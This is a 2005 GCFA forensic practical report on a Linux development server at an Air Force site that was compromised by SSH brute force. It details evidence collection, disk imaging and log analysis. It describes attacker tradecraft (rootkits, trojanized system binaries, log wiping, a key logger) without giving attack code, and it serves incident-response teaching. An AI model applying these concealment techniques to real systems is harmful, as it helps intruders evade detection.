Fight crime.
Unravel incidents... one byte at a time.

Discovery Of A Rootkit:

A simple scan leads to a complex solution

GIAC Certified Forensic Analyst (GCFA)
Practical Assignment

Version 1.5
Option 2 – Forensic Analysis on a System

John Melvin

Submitted 15 Apr 2005

Table Of Contents

Option 2 – Forensic Analysis of a System

Synopsis of Case Facts

Discovery of a root kit; funny how sometimes we find things based on events not entirely relating or directly affecting other systems. Even seasoned security experts cannot monitor and catch every possible incident, sometimes it's just pure luck or coincidence that we stumble upon compromises. On 02-Aug-04/0012Z, we stumbled upon this exact scenario although we wouldn't know it right away.

Every day the Air Force networks are constantly tested, scanned, probed, etc and our analysts spend 24 hours a day verifying, challenging, and responding to all of these threats. The Air Force network is complex, detailed, and ever-changing and we are constantly issuing checks-and-balances to ensure only authorized traffic enters or leaves our perimeters. On the morning of 02 Aug a simple port scan from a Colombian IP put our processes, skills, and responses to the test.

What's so significant about a port scan anyway? We see them everyday, we can't stop them, and a lot of us don't even bother taking the time to analyze them. In our case, the port scan wasn't really the significant threat, however, the presence of the scan led to very significant findings. Our analysts are required to address all threats, including simple port scans. For instance, we will take the net block of the scanning IP, conduct searches on it, and correlate it will all the systems it touches – then we do analysis on those IP's. It's a tedious task, but thanks to our process this simple port scan led to our discovery of a rootkit.

Shortly after receiving the port scan alert, our analysts researched the Colombian IP net block and found that it had made a connection, with data returned, to a different military system residing in Alabama. Further analysis on the Alabama IP showed the existence of both in-bound and out-bound connections to foreign and domestic IP's, all over port 22. Our standard procedure at this point was to contact the IA of the affected base and have them verify the traffic between these IP's with local administrators. Within the hour the administrator called us and stated four primary things; one, the traffic to the IP's we identified was not authorized. Two, he could not log into the system because it was hung. Three, he had rebooted the system several times and finally had to load an old, previous kernel in order to get access to the system. And four, his root password did not work. Very interesting. Our normal procedure would have next been to notify our incident response team to conduct first-level evidence collection and to have the system administrator unplug the system from the network. However, we were faced with a serious issue because the system has not only been rebooted, but modified by the system administrator. In fact, our incident response team didn't want to pursue this event at all because live analysis seemed hopeless now. What about dead, static analysis instead? This seemed to be the perfect chance to have our forensic team take the lead, and hopefully output meaningful and surprising results.

Even though the system had been rebooted and loaded with a previous kernel, we still performed a first-response evidence collection with a tool set of statically linked binaries. Normally used for live forensics, the tool set did show multiple file modifications and the existence of several unauthorized files. The most beneficial output from this analysis is it gave us a good starting point for when something malicious might have taken place. We determined at that point to seize the hard drive for evidence and analysis.

What we found to be most challenging is we were presented a task to find out what happened given nothing more than a port scan and an unresponsive system. We dove into our forensic analysis with just a couple of small pieces of information, maybe SSH was the entry and maybe it happened between July-August timeframe.

Executive Summary

02-Aug-04/0012Z, Realtime Analyst noted a Distributed Port Probe alert on port 22 from a Columbian IP. Research showed the Columbian IP had made a connection, with data returned, to a military system residing in Alabama. Further analysis showed several other systems, both foreign and domestic, had connections over port 22 to the same Alabama IP. Affected base personnel were contacted to validate the traffic. During the validation, the traffic was identified as unauthorized. Based upon this and the existence of both in-bound and out-bound connections
to multiple IP's, a CAT I Incident (root-level) was declared at 18:29Z.

03-Aug-04/0020Z, The victim system appears to have been modified by the attacker
resulting in the system not being able to return to operation. Local system administrator rebooted the system several times and eventually loaded a previous kernel in order to gain control of the system. System administrator noted the root password did not work for him. Victim system was taken offline.

03-Aug-04/1351Z, Our first-response tool kit was deployed to local IA personnel to collect live analysis on the system even though the system had been rebooted and modified. Results of the examination showed multiple file modifications, the existence of unauthorized files, and a NIC card in promiscuous mode.

04-Aug-04/0345Z, Determination was made to seize the hard drive for further analysis. Our evidence so far had showed us that a lot of modification to the system as well as creation of unauthorized files happened on 28 July 04.

06-Aug-04/1236Z, Our forensic team received the hard drive, forensics analysis of the system indicates that a US IP is most likely the initial source of the compromise. Evidence shows this IP conducting a brute force attack against the victims ssh server. Additional research found that this IP was

documented as conducting other brute force SSH attacks against commercial sites over a period of several days.

10-Aug-04/1900Z, Analysis of files found on the victim hard drive support the identification of the initial compromise being accomplished through a brute force attack on ssh. Once on the system, the attacker downloaded copies of a brute force script [haitateam.tgz] and other tools to facilitate his continued access on the victim system. The attacker also attempted [unsuccessfully] to use the victim system to perform out-bound scanning of other systems.

11-Aug-04/1900Z, Further analysis of victim hard drive indicates a strong possibility that the Columbian IP is the system that follows up from the initial scan/brute force attempts from the US IP. Review of victim logs shows Columbian intruder searching through system logs for the presence of the US IP, then opening the logs with a text editor. Our search through system logs show no indication of this IP, so it's assumed the intruder had root access and modified the logs by removing this IP.

20-Aug-04/1900Z, Confirmed with user for victim system that root's password was indeed weak. All analysis correctly points to a brute force attack on the SSH program, a modification to root's password by the hacker, and an installation of a trojanized SSH server (rootkit).

20-Aug-04/2100Z, Forensic analysis showed the presence of several malware, trojans, rootkits, and sniffers that once existed or currently existed on the victim system;

- A backdoor on TCP port 33221, 51980 and 31313 may have existed at one point,
- Numerous hacking tools, scripts, cleaning applications, examples, tutorials, password crackers, etc were found as deleted data
- Root's password had changed
- All major system logs were modified (/var/log*)
  - Deleted, chmod, edited, and created – all root functions
- ".desktop" was trojanized to sniff modifications to system files
- "driftnet" was used to capture network traffic, specifically to intercept and forward web traffic
- The "Linux.OSF.8759 Trojan" did exist on the system at one point
- Numerous system binaries were confirmed to be trojanized
- The 'mYrk' rootkit was discovered as a trojanized binary called 'zic' in /usr/sbin. The file 'zic' is a legitimate Linux binary by default. The rootkit is capable of hiding processes, files, network sniffing, modifying firewall rule-sets, and key logging.
- Further analysis showed the trojanized binaries had many similarities to (2) well-known rootkits:
  - t0rn(r)v8 (Classic root-kit style)

- ShKIT (an SSH server backdoor rootkit)

21-Aug-04/1900Z, Forensic analysis completed. System administrators will not put this system back online.

25-Aug-04/1900Z , Analysis of mYrk rootkit completed. Evidence showed the presence of a key/terminal logger stored under /usr/lib/ix86/logz. The logger stores sniffed information to a file called pass.log. Within the pass.log file evidence showed the hacker contacted and may have compromised 5 other systems on the same network. Further research and analysis of those systems have turned up negative. Additionally, the rootkit contained two clean-up files used to erase tracks/logs called 'wclean' and 'v'. The rootkit puts the NIC into PROMISC mode but does not open any backdoor ports. Simply, it will listen for a trigger packet or data in order to 'wake' up.

29-Aug-04/0220Z , All analysis complete and all recovery procedures complete, incident was closed.

System Details

First-Response Measures and Collection

A full day after we determined there was unauthorized SSH traffic to our system, we coordinated with local system administrators to run a first-level evidence collection tool. Even though the system had been modified by the administrator by rebooting and loading a previous kernel, we still wanted to gather as much information about the system in the state it was in currently. In fact, a lot of the commands did not produce any output because the administrator could only regain control of the system in single user mode. On the box there were 7 bootable kernels, each one was an upgrade to the previous one. When the latest kernel got corrupted, presumably by the intruder, the administrator had to resort to a kernel that was 4 generations old in order to be able to boot in at least user-mode. Our point with this was to show other analysts that although the system is not in the same state as the initial compromise, valuable evidence can still be obtained.

The toolset was specifically designed to run trusted, static binaries from an image file then save the output results to a floppy disk. The first part of the toolset is to gather system information, below are the commands implemented and the pertinent data collected from them.

```
------------------------------------------------------------------
        uname -a
------------------------------------------------------------------
Linux 5959 2.4.18-27.8.0 #1 Fri Mar 14 06:45:49 EST 2003 i686 unknown
------------------------------------------------------------------
        who
------------------------------------------------------------------
```

No Output

---

netstat -an

```
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node Path
unix  2      [ ACC ]     STREAM     LISTENING     197    /dev/log
```

---

netstat -rn

```
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
```

---

ps -auxww

```
  PID TTY      Uid        Size State Command
    1          root       1384   S   init [S]
    2          root          0   S   [keventd]
    3          root          0   S   [ksoftirqd_CPU0]
    4          root          0   S   [kswapd]
    5          root          0   S   [bdflush]
    6          root          0   S   [kupdated]
    7          root          0   S   [mdrecoveryd]
   11          root          0   S   [kjournald]
   68          root          0   S   [khubd]
  122          root       1736   S   minilogd
  186          root          0   S   [kjournald]
  187          root          0   S   [kjournald]
  188          root          0   S   [kjournald]
  302 tty1     root       1384   S   init [S]
  303 tty1     root       2208   S   /bin/sh
  306 tty1     root        632   S   ./bin/sh ./toolset
  353 tty1     root        592   R   ps -auxww
```

---

mount

```
rootfs on / type rootfs (rw)
/dev/root.old on /initrd type ext2 (rw)
/dev/hda1 on / type ext3 (rw)
/proc on /proc type proc (rw)
usbdevfs on /proc/bus/usb type usbdevfs (rw)
none on /dev/pts type devpts (rw)
/dev/hda2 on /home type ext3 (rw)
none on /dev/shm type tmpfs (rw)
/dev/hda5 on /usr type ext3 (rw)
/dev/hda6 on /var type ext3 (rw)
/dev/fd0 on /mnt/floppy type ext2 (rw)
```

---

uptime

```
 3:38pm  up 1 min, load average: 0.65, 0.20, 0.06
```

```
          ifconfig -a
-------------------------------------------------------------------
eth0      Link encap:Ethernet  HWaddr 00:50:DA:59:47:FB
          BROADCAST PROMISC MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          RX bytes:0 (0.0 iB)  TX bytes:0 (0.0 iB)
          Interrupt:5 Base address:0x1000

lo        Link encap:Local Loopback
          LOOPBACK  MTU:16436  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 iB)  TX bytes:0 (0.0 iB)
```

What have we collected so far from our toolset? We can see the output from the commands uname, who, netstat, ps, and uptime all show us the system was recently rebooted, running a previous kernel (2.4.18), and running in single user mode. We didn't gather too much information from these commands. However, the ifconfig output shows us that NIC eth0 was set in PROMISC Mode. This was our first real evidence that something malicious had happened.

Notice the output from the mount command, this will be used later to correctly mount our partition images to the correct directories.

The second part of the toolset gathers file listings from critical directories using a basic format of 'ls -Rlrta'. Below are the significant findings from those outputs.

```
-------------------------------------------------------------------
/usr/bin
-------------------------------------------------------------------
lrwxrwxrwx    1 root     root           13 Jul 28 12:41 BitchX -> BitchX-1.0c17
-rwxr-xr-x    1 root     root        18916 Aug  1 16:10 v
-rwxr-xr-x    1 okray  okray        59536 Jul  3  2002 find
-rwxr-xr-x    1 okray  okray        31452 Jul  1  2002 md5sum
-rwxr-xr-x    1 okray  okray        23560 Jun 23  2002 slocate
-rwxr-xr-x    1 okray  okray        33992 Aug 12  2002 top
-------------------------------------------------------------------
/etc
-------------------------------------------------------------------
-r--------    1 root     root         1088 Jul 28 05:29 shadow
drwxr-xr-x    2 root     root         4096 Aug  1 17:24 ssh2
-------------------------------------------------------------------
/etc/rpm
-------------------------------------------------------------------
drwxr-xr-x    2 1005     1005         4096 Jul 31 08:23 clean-osf
-rw-r--r--    1 root     root        13658 Jul 31 08:22 clean.tar.gz
```

```
---------------------------------------------------------------------
/sbin
---------------------------------------------------------------------
-rwxr-xr-x    1 okray  okray     31504 Aug  6  2002 ifconfig
-rwxr-xr-x    1 okray  okray     26496 Jun 23  2002 syslogd
---------------------------------------------------------------------
/usr/sbin
---------------------------------------------------------------------
-rwxr-xr-x    1 okray  okray     82628 Jun 23  2002 lsof
---------------------------------------------------------------------
/bin
---------------------------------------------------------------------
-rwxr-xr-x    1 okray  okray     13725 Aug 30  2002 login
-rwxr-xr-x    1 okray  okray     54152 Aug  6  2002 netstat
-rwxr-xr-x    1 okray  okray     62920 Aug 12  2002 ps
```

What did we collect from our output for file listings? Actually, quite a bit. Under the /usr/bin directory we noticed six suspicious files; On 28 Jul an installation of the IRC server called BitchX was written to, 4-days later on 1 Aug a file called 'v' was written to, and several system binaries normally owned by root were owned by a user called 'okray' (find, slocate, md5sum, and top).

Under the /etc directory we noticed two suspicious entries; The shadow file was written to on 28 Jul, and a directory containing what appears to be a second install of an SSH server was written to 4-days later. Coincidently, this matched when BitchX and 'v' were written to.

The /etc/RPM directory contained two entries that seemed suspicious; a file called clean.tar.gz and a directory called clean-osf were both written to on 31 Jul. A quick search for these files on Google gave us hits to clean-up scripts for the Linux.osf.8759 Trojan. This Trojan is a remote administration tool, normally creating a backdoor on UDP port 3049.

The /sbin, /usr/sbin, and /bin directories all contained more system binaries normally owned by root but had user okary as the owner; ifconfig, syslogd, lsof, login, netstat, and ps. This was a very interesting find for us, because it sure looked as if something had trojanized major binaries an administrator would normally use to gather system information. It should be noted that all of the system binaries with an owner of okray all maintain what appeared to be their original install dates. If these binaries are trojanized the application could have made an effort to maintain original time stamps. If the binaries were issued a 'chown' command to change to user okray, this will not modify the time stamp according to our 'ls' output. Maybe too, if a rootkit used 'mv' to copy files, this will not modify the timestamp for 'ls' either.

We now had some leads for our analysts, and perhaps an initial date of compromise on 28 July. This will become important when we start to create our timeline of the incident.

Target System Description

Incident Number: 2004-04-34
Date: 02-Aug-04/1829Z
Location: Alabama
Application of System: Development; test newly developed web site, etc.
Operating System/Release/Version: RedHat 8 (2.4.20-28.8)
Hardware:
Micron P-III 500, serial number: 8KWGK01
Intel(R) Pentium(R) III CPU 1133MHz
IBM Deskstar HDD, Capacity 13 GB.
MemTotal: 1032668 kB
Network Interface Type: 3Com Boomarang
Authorized Open Ports: 443, 22, 80
Number of Users Supported By System: 1
Behind/In-Front of Firewall: Behind Firewall, although no ACL's for inbound ports 443, 22, or 80
Date System Originally Put On-Line: June 2002

Talking with the system administrator a few questions and concerns came to mind for our analysts. It seemed odd that some much SSH traffic went unnoticed from so many different foreign and domestic IP's. Additionally, the system had been hung for 2-days and no one seemed to noticed. Probably the biggest concern for us was root's password did not work but the administrator had not logged into that system in over 6-months and never knew that. What kind of system was this anyway?

Turns out our victim system used to be a development server to test webpage functionality for a front-end project they maintained. SSH was used to transfer webpage reports back-and-forth from the webmasters desktop to the server. The server had no other mission functions. A single user called 'okray' occasionally logged onto the system to test PERL scripts and learn how to use Unix in general. In the words of the local administrator, “This system sits in the corner of our lab and collects dust”.

The firewall for their subnet was set up with ACL's to block both inbound and outbound traffic by specific IP's only (meaning, no 'block-all' type rules). So, a system in the corner collecting dust had been forgotten, no firewall ACL's prevented connections to it. The administrator said that only three ports were open to it anyway, 80, 443, and 22, all used for the previous web-testing functionality. However, this system did have trust relationships with five other servers within their lab, and those servers could both touch the outside world as well as the internal LAN.

Hardware Seized /Chain of Custody

Tag #: 2004-04-34-HDD
Description: 13GB IBM Deskstar HDD, ATA/IDE
Serial #: JHT2C673
Model #: DPTA-371360
MD5 Hash: 06e0b921b0588e3f64b486d19267c9e8
Date Received: 06-Aug-04/1236Z

Received by: John Melvin, primary Analyst for 2004-04-34
Tracking # for Receipt: ILAHBH-2571

Imaging the Media

Imaging Procedure and Verification

On 04 Aug the decision to seize the victim hard drive was made. The system administrator unplugged the power cord then removed the drive. On 06 Aug the victim hard drive was received by our forensic lab for analysis. No MD5 was made by the system administrator prior to removal from the system, so we have to assume the disk remained unmodified during transport.

Our first task was to perform an MD5 hash of the entire drive and each separate partition as our initial baseline for comparison. Since the forensic tools used in our investigation, and capabilities of the OS, require raw partition images instead of full disk images we needed to break the full disk into separate partitions for analysis. Therefore, our mind-set was to ensure integrity throughout the entire process, first by generating an entire drive hash and then generating hashes for each partition.

We next completed a full image of the drive and conducted integrity verification against the hash for the physical drive. This ensures our image was not modified from receipt of the original drive.

Our last step was to extract each individual partition from the full image and conduct verification against the hashes for the physical partitions. This ensures we extracted the partitions correctly and they were not modified.

The swap partition was not considered for imaging or analysis since the system had already been rebooted several times before we acquired the hard drive.

Step One – Checksum of Original Disk and Individual Partitions

Our victim drive was connected as a slave, ro, device listed as /dev/hdc from the fdisk -lu output:

```
Disk /dev/hdc: 13.6 GB, 13676544000 bytes
255 heads, 63 sectors/track, 1662 cylinders, total 26712000 sectors
Units = sectors of 1 * 512 = 512 bytes

Device Boot    Start       End    Blocks   Id  System
/dev/hdc1   *       63   1718954    859446   83  Linux
/dev/hdc2       1718955   8273474   3277260   83  Linux
/dev/hdc3      26185950  26700029    257040   82  Linux swap
/dev/hdc4       8273475  26185949   8956237+   5  Extended
/dev/hdc5       8273538  14217524   2971993+  83  Linux
/dev/hdc6      14217588  26185949   5984181   83  Linux

Partition table entries are not in disk order
```

```
Disk /dev/hda: 20.0 GB, 20020396032 bytes
255 heads, 63 sectors/track, 2434 cylinders, total 39102336 sectors
Units = sectors of 1 * 512 = 512 bytes

Device Boot    Start       End    Blocks   Id  System
/dev/hda1   *       63    208844    104391   83  Linux
/dev/hda2        208845  37543904  18667530   83  Linux
/dev/hda3     37543905  39102209    779152+  82  Linux swap
```

We needed to therefore generate MD5 hashes for the entire drive, /dev/hdc, and all partitions we were going to analyze, in this case /dev/hdc1, /dev/hdc2, /dev/hdc5, and /dev/hdc6.

```
[root@LinuxForensics 0434]# md5 /dev/hdc
06e0b921b0588e3f64b486d19267c9e8 /dev/hdc

[root@LinuxForensics 0434]# md5 /dev/hdc1
f38e01425d3052dfcd590f40f5f01333 /dev/hdc1

[root@LinuxForensics 0434]# md5 /dev/hdc2
069341deb7edc79f76635922e63bc081 /dev/hdc2

[root@LinuxForensics 0434]# md5 /dev/hdc5
0a21f34ee8d75c7cef6d87dea92db670 /dev/hdc5

[root@LinuxForensics 0434]# md5 /dev/hdc6
fbe44d80f69b88adb8047a9199cef578 /dev/hdc6
```

Step Two – Create Disk Image and Integrity Verification

Our only objective at this stage was to ensure the dd image for the entire drive had an MD5 hash that matched our baseline.

```
[root@LinuxForensics 0434]#  dd if=/dev/hdc of=04-34/04-34.img

[root@LinuxForensics 0434]# md5 /04-34/04-34.img
06e0b921b0588e3f64b486d19267c9e8 04-34.img
```

Our first integrity check matched, we had an entire disk image that matched our physical drives MD5 hash.

Step Three – Carving Out Individual Partitions and Integrity Verification

```
Disk /dev/hdc: 13.6 GB, 13676544000 bytes
255 heads, 63 sectors/track, 1662 cylinders, total 26712000 sectors
Units = sectors of 1 * 512 = 512 bytes

Device Boot    Start       End    Blocks   Id  System
/dev/hdc1   *       63   1718954    859446   83  Linux
```

```
/dev/hdc2      1718955   8273474   3277260   83  Linux
/dev/hdc3     26185950  26700029    257040   82  Linux swap
/dev/hdc4      8273475  26185949   8956237+   5  Extended
/dev/hdc5      8273538  14217524   2971993+  83  Linux
/dev/hdc6     14217588  26185949   5984181   83  Linux
```

I didn't like the output of the fdisk -lu command above because it displays number of blocks and not number of sectors. Therefore, to calculate exactly where partitions start and end we would have had to subtract the value in the 'End' sector column from the 'Start' sector column and then add '1'. This calculation would get the number of sectors at the partition boundary. For instance, for the first partition we would subtract 63 from 1718954 and add 1, which gives us 1718892.

Instead, I used the sfdisk -l -uS command against the system which gives us exactly the correct boundaries without having to do any calculations. This mill make extracting the partitions from our entire image a lot easier as we will see shortly.

```
Device Boot    Start       End   #sectors  Id  System
/dev/hdc1   *       63   1718954    1718892  83  Linux
/dev/hdc2      1718955   8273474    6554520  83  Linux
/dev/hdc3     26185950  26700029     514080  82  Linux swap
/dev/hdc4      8273475  26185949   17912475   5  Extended
/dev/hdc5      8273538  14217524    5943987  83  Linux
/dev/hdc6     14217588  26185949   11968362  83  Linux
```

Just to ensure all the partitions were correctly being identified, I also used the command 'mmls' to compare against the sfdisk output. We can see in the output all of the partition Tables setting up the primary, extended, and logical drives. We are concerned only with imaging and analyzing the entries titled 'Linux (0x83)' which correspond to hdc1, hdc2, hdc5, and hdc6 above.

```
Slot    Start        End          Length       Description
00:  -----   0000000000   0000000000   0000000001   Primary Table (#0)
01:  -----   0000000001   0000000062   0000000062   Unallocated
02:  00:00   0000000063   0001718954   0001718892   Linux (0x83)
03:  00:01   0001718955   0008273474   0006554520   Linux (0x83)
04:  00:03   0008273475   0026185949   0017912475   DOS Extended (0x05)
05:  -----   0008273475   0008273475   0000000001   Extended Table (#1)
06:  -----   0008273476   0008273537   0000000062   Unallocated
07:  01:00   0008273538   0014217524   0005943987   Linux (0x83)
08:  01:01   0014217525   0026185949   0011968425   DOS Extended (0x05)
09:  -----   0014217525   0014217525   0000000001   Extended Table (#2)
10:  -----   0014217526   0014217587   0000000062   Unallocated
11:  02:00   0014217588   0026185949   0011968362   Linux (0x83)
12:  00:02   0026185950   0026700029   0000514080   Linux Swap / Solaris x86 (0x82)
```

Our objectives for this stage were to use dd again to carve out each separate partition from the full image, and ensure the MD5 hashes for each matched our

baseline.

hdc1

```
[root@LinuxForensics 0434]# dd if=/04-34/04-34.img of=/04-34/hdc1.img bs=512
skip=63 count=1718892

[root@LinuxForensics 0434]# md5 /04-34/hdc1.img
f38e01425d3052dfcd590f40f5f01333  hdc1.img
```

---

hdc2

```
[root@LinuxForensics 0434]#  dd if=/04-34/04-34.img of=/04-34/hdc2.img bs=512
skip=1718955 count=6554520

[root@LinuxForensics 0434]#  md5 /04-34/hdc2.img
069341deb7edc79f76635922e63bc081 hdc2.img
```

---

hdc5

```
[root@LinuxForensics 0434]#  dd if=/04-34/04-34.img of=/04-34/hdc5.img bs=512
skip=8273538 count=5943987

[root@LinuxForensics 0434]#  md5 /04-34/hdc5.img
0a21f34ee8d75c7cef6d87dea92db670 hdc5.img
```

---

hdc6

```
[root@LinuxForensics 0434]#  dd if=/04-34/04-34.img  of=/04-34/hdc6.img bs=512
skip=14217588 count=11968362

[root@LinuxForensics 0434]#  md5 /04-34/hdc6.img
fbe44d80f69b88adb8047a9199cef578  /hdc.img
```

All of our integrity checks matched, each image had an MD5 hash that matched the physical partitions.

We made copies of each image taken, generated MD5 hashes for them, and stored offline from our forensic system. The victim drive was disconnected and stored within our evidence locker. From this point forward all of our analysis is done on the original images we gathered above.

Media Analysis of System

Forensic Workstation and Tools Used

System Details:

- Application of System: Laptop used for forensic analysis and reverse engineering
- Operating System/Release/Version:
  - Fedora (Linux LinuxForensics 2.4.22-1.2115.nptl)
  - Vmware 4.5.2: Windows 2000 professional, SP 3
- Hardware:
  - HP Pavillion ZV5000

AMD Athlon(tm) XP Processor 3000+
Internal ATA/IDE HDD, 20GB
Maxtor External USB2.0 HDD, 80GB, Model: Personal Storage 3100
MemTotal: 514076 kB
Network Interface Type: RTL-8139 Ethernet

Tools Implemented:
Coronor's Toolkit – V. 1.15
Sleuthkit -V.1.72
Autopsy Forensic Browser -V. 2.03
Ethereal – V. 0.98
Initial Response Toolkit -Static Binaries
uname
date
who
netstat
ps
mount
uptime
df
env
ifconfig
ls
cat
find
Vmware – V. 4.5.2
IDA PRO -V. 4.7
dd – V. 5.0
md5sum – V. 5.0
strings – V. 2.12.91
chkrootkit
KhexEdit – V. 0.8.5

Mounting the Images as File Systems

Our first interaction with the four partition images we created starts here. We didn't know what image file corresponded to the original mounted directories, so we just picked hdc1.img as a starting point.

```
[root@LinuxForensics root]#  mount -t ext2 -o noatime,nodev,noexec,ro,loop / 04-
34/hdc1.img /mnt/04-34
```

-t ext2 – We got this filetype from our sfdisk and mmls output
noatime - Do not update inode access times on this file system
nodev - Do not interpret character or block special devices
noexec - Do not allow execution of any binaries on the mounted file system.
Ro – Mount as Read-Only
loop – mount the image file as if it were a logical slice

We got lucky with this image because it contained most of the root "/" directories, including /etc where the 'fstab' file is located. A quick look at that

file showed us how the original disk was structured; hdc1 was the "/" partition, hdc2 is the "/home" partition, hdc5 is the "/usr" partition, and hdc6 is the "/var" partition.

Under our /mnt/04-34 directory we created sub-directories corresponding to each partition listed in the fstab file. We then mounted each image to its respective subdirectory, in essence creating a directory structure that mimicked the original disk as close as possible.

Log File Analysis

We revisited what we knew about the incident so far;

- SSH might have been the entry point
- The Date of compromise could have been between 28 Jul – 01 Aug
- The system was unresponsive
- Roots password did not work
- The NIC was in PROMISC mode
- An IRC server was installed
- Key system binaries were owned by user "okray" instead of "root"
- The system might have been infected with the linux.osf.8759 Trojan.

Okay, so we had some clues that we could pursue, but nothing very concrete. Our problem was we had a 13GB image file to look over but didn't know exactly where to begin our analysis. We finally agreed to investigate the log files and system files first, before generating a timeline, since we really did not have a solid starting point. Once we could gather some evidence, we would then generate our timeline tailored for a specific period.

/var/log/Boot.log

There were no entries within the boot.log file, however there are other ways to find out when the system was last rebooted. When we get our timeline established this should tell us exactly when the system was rebooted, in the meantime I took a look at the /etc/rc.d directory to find some clues when the system was last accessed. The main system start-up script called "rc.sysinit" writes to two key log files when the system boots, /var/log/demsg and /var/log/ksyms.0. Taking a look at these files, both were written to on 4 Aug 2004 which matches the last time the system administrator accessed the computer. I took a look inside each file as well and they both log the system time when accessed. Notice too the old kernel the admin had to use in order to even access the system:

```
Wed Aug  4 07:43:25 EST 2004
Linux 5959 2.4.18-27.8.0 #1 Fri Mar 14 06:45:49 EST 2003 i686 i686 i386 GNU/Linux

Kernel command line: ro root=LABEL=/ single
```

```
Initializing CPU#0
Detected 498.856 MHz processor.
Wed Aug  4 07:43:27 EST 2004: initialized
```

/var/log/cron

All entries only showed two jobs being run, I checked out both of these processes and everything looked okay. Below is a snippet of the processes.

```
Jul 28 00:10:00 5959 CROND[6727]: (root) CMD (/usr/sbin/up2date -u)
Jul 28 01:01:00 5959 CROND[6794]: (root) CMD (run-parts /etc/cron.hourly)
```

/var/log/Dmesg

The entire dmesg file was filled with the system administrator booting the system into single-user mode, loading a previous kernel, and trying to repair the ext2 partitions. However, it did provide us with two important facts; It showed us when the system was last rebooted, Wed Aug 4 2004, and it showed that the NIC card was in promiscuous mode: .

```
Enabling bus-master transmits and whole-frame receives.
00:0e.0: scatter/gather enabled. h/w checksums enabled
divert: allocating divert_blk for eth0
device eth0 entered promiscuous mode
```

/var/log/httpd

We were suspecting SSH to be the entry point for the intrusion but we decided to also take a look at the Apache logs. The system administrator had stated that their web server was only used to test development web pages and did not server any pages for outside users. We took a look at the access.log, error.log, and ssl.acess.log and they all seemed to confirm the admins statement, all showed access from only internal LAN IP's.

/var/log/lastlog

Only two entries of significance within this file:

```
root            :0               Wed Aug  4 07:46:32 -0500 2004
okray           :0               Mon Aug  2 14:38:14 -0500 2004
```

What doesn't make sense to me is the entry for root on 4 Aug, yet the “ls” listing shows the file was last written to on 2 Aug:

```
-r--------    1 root     root     19136220 Aug  2  2004 lastlog
```

/var/log/Maillog

What was interesting was this file had zero bytes, last time written to on 1 Aug 2004. In fact, here is an excerpt from the administrator we received on 3 Aug shortly after he was able to log on:

> "..... I checked /var/spool/mail/root looking to see if the log watch cron had send root email. But roots email file had about 3 mails when it should
> of had a large number of emails. Also, there were no more entries within var/log/maillog,
> was it zero'd out?....."

/var/log/messages

The messages log was pretty large so at first glace it looked like this would be a great place to find a lot of evidence. In addition, there were several saved message logs about 6-days part going back an entire month. However, it was actually the lack of evidence inside the logs that became our biggest clue; there were no entries from 25 Jul 2004 to the present. Strange, though, that the file was last written to on 1 Aug 2004, did someone zero our these entries too?:

```
-rw-r--r--    1 root     root      2221758 Aug  1  2004 messages
```

/var/log/Rpmpkgs

There were five rpmpkgs files and all but the latest one had the same byte count. So, I just took a diff of the most current rpm logfile can compared it to all the others, below is the output:

```
-rw-r--r--    1 root     root        19852 Jul 31  2004 rpmpkgs

[root@LinuxForensics log]# diff rpmpkgs rpmpkgs.1
        2d1
        < BitchX-1.0c17-6.i386.rpm
```

Yes, we already knew that was installed – kind of a loud way to install it though.

/var/log/secure

From the traffic logs we were able to collect to and from the victim system, we had speculated that one IP had done the initial reconnaissance and another IP actually gained access. The secure logs should give us a good look to either credit or discredit our presumption. Again, however, these logs appeared to

have been modified as well. Throughout the logs there are several instances where entire days have gone by without any logging, and large time gaps missing during normal working hours. The last time the file was written to was on Aug 1 2004, yet not entries for Aug at all. Surprisingly, however, there were a few SSH log entries of significance that occurred. If our presumptions were correct, the intruder forgot to clear all of his/her failed logon attempts during the reconnaissance stage. Notice too when these SSH entries were logged, well after normal users already went home and on the date we already suspected as the initial compromise (28 Jul). Final note, doesn't this look like both a Windows and Linux brute forcer?

```
Jul 28 00:10:15 jas5959 sshd[6733]: Failed password for illegal user test from
69.0.134.72 port 40676 ssh2
Jul 28 00:10:18 jas5959 sshd[6735]: Failed password for illegal user guest from
69.0.134.72 port 40724 ssh2
Jul 28 00:10:21 jas5959 sshd[6737]: Failed password for illegal user admin from
69.0.134.72 port 40731 ssh2
Jul 28 00:10:24 jas5959 sshd[6739]: Failed password for illegal user root from
69.0.134.72 port 40734 ssh2
Jul 28 00:10:26 jas5959 sshd[6741]: Failed password for illegal user user from
69.0.134.72 port 40741 ssh2
Jul 28 00:10:42 jas5959 sshd[6789]: Failed password for illegal user test from
69.0.134.72 port 40811 ssh2
[...]
Jun 28 10:43:34 jas5959 sshd[3316]: Accepted password for root from 69.0.134.72 port
1352 ssh2
Jun 29 07:40:45 jas5959 sshd[3780]: Accepted password for okray from 69.0.134.72
port 3187 ssh2
```

/var/log/samba

Similarly, we can see other types of probing to the smb service, could be our reconnaissance.

```
[2004/06/25 10:07:39, 0] passdb/pampass.c:smb_pam_passcheck(827)
  smb_pam_passcheck: PAM: smb_pam_auth failed - Rejecting User administrator !
[2004/06/25 10:07:41, 0] passdb/pampass.c:smb_pam_passcheck(827)
  smb_pam_passcheck: PAM: smb_pam_auth failed - Rejecting User administrator !
[2004/06/25 10:07:44, 0] passdb/pampass.c:smb_pam_passcheck(827)
  smb_pam_passcheck: PAM: smb_pam_auth failed - Rejecting User guest !
[2004/06/25 10:07:46, 0] passdb/pampass.c:smb_pam_passcheck(827)
  smb_pam_passcheck: PAM: smb_pam_auth failed - Rejecting User guest !
[2004/06/25 10:07:49, 0] passdb/pampass.c:smb_pam_passcheck(827)
  smb_pam_passcheck: PAM: smb_pam_auth failed - Rejecting User nessus16900092 !
[2004/06/25 10:07:51, 0] passdb/pampass.c:smb_pam_passcheck(827)
  smb_pam_passcheck: PAM: smb_pam_auth failed - Rejecting User nessus16900092 !
[2004/06/29 09:43:09, 0] passdb/pampass.c:smb_pam_passcheck(827)
  smb_pam_passcheck: PAM: smb_pam_auth failed - Rejecting User administrator !
